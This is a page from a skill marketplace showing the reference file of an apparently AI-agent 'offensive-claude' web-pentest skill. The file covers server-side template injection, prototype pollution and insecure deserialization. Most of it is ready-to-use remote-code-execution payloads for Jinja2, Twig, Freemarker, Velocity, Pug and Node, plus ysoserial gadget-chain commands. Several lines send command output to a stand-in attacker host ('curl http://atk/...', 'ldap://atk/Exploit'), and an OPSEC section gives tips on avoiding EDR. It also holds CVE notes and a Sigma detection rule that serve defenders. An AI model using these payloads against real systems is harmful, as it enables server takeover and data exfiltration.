Skip to content

hypnguyen1209/offensive-claude / skills/web-pentest

web-pentest

Flagged

Use when pentesting a web application or API — injection, XSS/CSP, SSRF/cloud-metadata, HTTP desync & cache poisoning, SSTI/prototype-pollution/deserialization, JWT/OAuth/GraphQL/IDOR, business logic & single-packet race

references/ssti-deserialization.md

View on GitHub
# SSTI, Server-Side Prototype Pollution & Insecure Deserialization

Cluster: server-side template injection (CWE-1336/CWE-94), server-side
prototype pollution -> RCE (CWE-1321 -> CWE-94), and insecure deserialization
(CWE-502) across Java/.NET/PHP/Node. Backing tool: `scripts/proto_ssti_gadgets.py`.
ATT&CK: T1190, T1059 (Command/Scripting Interpreter), T1505.003 (web shell).

## Theory / Mechanism

These three classes share an outcome — server-side code execution — through
different sinks. **SSTI**: user input reaches a template engine that evaluates
expressions, so engine-native objects reach the OS (`os.popen`, `Runtime.exec`).
**Server-side prototype pollution**: in Node, polluting `Object.prototype`
changes default object behaviour everywhere; a downstream "gadget" reads the
polluted property and executes code or spawns a process. **Deserialization**:
untrusted serialized data instantiates objects whose magic methods chain into a
sink ("gadget chain").

## Engine detection & SSTI RCE
```
python3 scripts/proto_ssti_gadgets.py detect
python3 scripts/proto_ssti_gadgets.py ssti --engine jinja2 --cmd "id"
python3 scripts/proto_ssti_gadgets.py ssti --engine all --cmd "curl http://atk/\$(id|base64)"
```
Detection poly-probe: `{{7*7}}` (49) vs `{{7*'7'}}` (`7777777`=Jinja2, `49`=Twig);
`${7*7}` (Freemarker/EL); `#{7*7}` (Pug); `<%= 7*7 %>` (ERB).

```python
# Jinja2 (Python) — config globals / builtins
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{lipsum.__globals__['os'].popen('id').read()}}
# Jinja2 attr/hex bypass (avoid dotted attr & keyword filters)
{{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']()}}
```
```php
{{['id']|filter('system')}}                            # Twig
{system('id')}                                         # Smarty
```
```java
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}   // Freemarker
#set($s="")#set($rt=$s.class.forName("java.lang.Runtime"))$rt.getMethod("getRuntime").invoke($null).exec("id")  // Velocity
```
```javascript
#{global.process.mainModule.require('child_process').execSync('id')}  // Pug
{{ process.mainModule.require('child_process').execSync('id').toString() }}  // n8n-style sandbox escape
```

## Server-Side Prototype Pollution -> RCE
```
python3 scripts/proto_ssti_gadgets.py proto --cmd "id"
```
```json
// Fileless modern gadget: NODE_OPTIONS --import data: URI (executes on next fork())
{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript,import('child_process').then(c=>c.execSync('id'))"}}
// child_process spawn shell gadget (Silent Spring class)
{"__proto__":{"shell":"/bin/sh","argv0":"id"}}
```
Send to any `merge()/extend()/clone()/defaultsDeep()` sink, or via querystring
parser (`?a[__proto__][NODE_OPTIONS]=...` in `qs`).

## Insecure Deserialization
```bash
# Java (ysoserial) — gadget chains
java -jar ysoserial.jar CommonsCollections6 'curl http://atk/$(id|base64)'
java -jar ysoserial.jar CommonsBeanutils1 'cmd'
# Jackson polymorphic
["com.sun.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://atk/Exploit","autoCommit":true}]
# .NET (ysoserial.net)
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -c "cmd /c whoami"
```
```php
// PHP type-juggling & magic hashes (loose comparison bypass, CWE-697)
"0e123" == "0e456"   // true (scientific-notation 0)
// md5("240610708") = 0e462097431906509019562988736854
```

## Modern 2024-2026 Variants (verified)

- **CVE-2024-22195 — Jinja2 sandbox/`xmlattr` filter bypass** (fixed 3.1.3); the
  attr/hex-encoded dunder forms above evade keyword filters in restricted envs.
- **CVE-2025-66436 — Frappe/ERPNext SSTI** (<=15.89.0): `get_terms_and_conditions`
  renders attacker Jinja via `frappe.render_template()`; the custom
  `SandboxedEnvironment` still exposes dangerous globals (`frappe.db.sql`) via
  `get_safe_globals()` -> authenticated server-side code execution. Demonstrates
  the recurring "sandbox is bypassable" theme.
- **CVE-2025-24893 — XWiki SolrSearch Groovy RCE**: SSTI via
  `/xwiki/bin/view/Main/SolrSearch` with a crafted async/groovy payload;
  `String.execute()` spawns via `execve()` (no shell metachar interpretation ->
  use download-and-execute).
- **CVE-2024-46507 — Yeti platform SSTI->RCE** (fixed 1.6.2); combined with the
  static-JWT-secret **CVE-2024-46508** it becomes unauthenticated RCE in the
  default Docker config.
- **CVE-2024-28118 — Grav CMS Twig SSTI** (patch-bypass via `getFunction`).
- **GHunter (2024)** — semi-automated discovery of **123 universal
  prototype-pollution gadgets** in Node.js and Deno; led to a Kibana RCE
  (**CVE-2023-31414**, CVSS 9.1). Validates the gadget-driven RCE model.
- **NODE_OPTIONS `--import` data-URI gadget** — fileless, ESM-native; still
  effective on Node 22.x as of mid-2025; bypasses `--require`-only allow-lists.
- **Axios GHSA-fvcv-3m26-pcqx (CVSS 9.9)** — prototype-pollution-to-header-
  injection gadget escalating any third-party pollution to RCE / cloud compromise
  (IMDSv2 bypass). See the SSRF reference for the metadata-token chain.

## Detection (Blue Team)

IOCs: template metacharacters (`{{`, `${`, `#{`, `<%`) in params reaching render
endpoints; `__proto__`/`constructor[prototype]` in JSON bodies/querystrings;
`NODE_OPTIONS` mutation; deserialization markers (`rO0AB` = base64 Java
`AC ED 00 05`, `H4sI` gzip, `TypeConfuseDelegate`); web process spawning
`sh/cmd/java -jar`/`ldap`/`rmi` connections.
```yaml
title: SSTI / Prototype-Pollution / Java Deserialization Indicators
logsource: { category: webserver }
detection:
  ssti:
    cs-uri-query|re: '(\{\{.*\}\}|\$\{.*\}|<#assign|#set\(|<%=)'
  pp:
    cs-body|contains: ['__proto__', 'constructor","prototype', 'NODE_OPTIONS']
  deser:
    cs-body|contains: ['rO0AB', 'TypeConfuseDelegate', 'JdbcRowSetImpl', 'java.net.URLClassLoader']
  condition: ssti or pp or deser
level: high
```
EDR: web service account spawning shells/`java`/outbound LDAP/RMI = high-fidelity
gadget-chain execution. Defences: allow-list a restricted DSL instead of a full
template engine; freeze `Object.prototype` / `--disable-proto=throw`; deny-list
deserialization classes / use JSON with `@type` disabled.

## OPSEC

- SSTI `id`/`whoami` probes are low-impact; the moment you spawn a reverse shell
  or download-execute you trip EDR — stage carefully and prefer in-band reads.
- Prototype-pollution gadgets that set `NODE_OPTIONS` affect the *next* forked
  process and can destabilise the app for all users — test on non-critical paths.
- Deserialization payloads with outbound LDAP/RMI (JNDI) are loud and logged at
  egress; OOB gadget callbacks reveal your infra.
- Cleanup: remove any web shells / written files; revert polluted config.

## References

- NVD: CVE-2024-22195, CVE-2025-66436, CVE-2025-24893, CVE-2024-46507,
  CVE-2024-46508, CVE-2024-28118, CVE-2023-31414.
- GitHub Security Advisory GHSA-fvcv-3m26-pcqx (Axios).
- "GHunter: Universal Prototype Pollution Gadgets in JavaScript Runtimes" (2024).
- "Silent Spring: Prototype Pollution Leads to RCE in Node.js" (USENIX Sec 2023).
- Check Point Research — SSTI prevalence (2024); HackTricks SSTI; ysoserial / ysoserial.net.
rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first.Stars: 194kUpdated Claude CodeCodexVerifiedInstall